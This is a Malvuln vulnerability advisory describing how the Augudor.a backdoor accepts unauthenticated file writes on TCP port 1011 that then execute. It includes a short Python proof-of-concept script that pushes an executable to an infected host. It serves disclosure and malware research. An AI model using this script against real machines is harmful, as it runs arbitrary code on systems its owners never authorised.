Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write - RCE

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/bf1b1a2f4be78d6b62ed7c316c77a9a1.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Augudor.a
Vulnerability: Unauthenticated Remote File Write - RCE
Description: Augudor.a drops an empty file named "zy.exe" and listens on
TCP port 1011. Attackers who can reach the infected host can write any
binary file they like to the empty "zy.exe" file on the system and it will
execute as soon as the binary transfer has completed.
Family: Augudor
Type: PE32
MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1
Vuln ID: MVID-2022-0501
Dropped files: zy.exe
Disclosure: 03/03/2022

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1011
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    s.close()

    print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write
Code Execution")
    print("MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1")
    print("By Malvuln");

if __name__=="__main__":
    doit()




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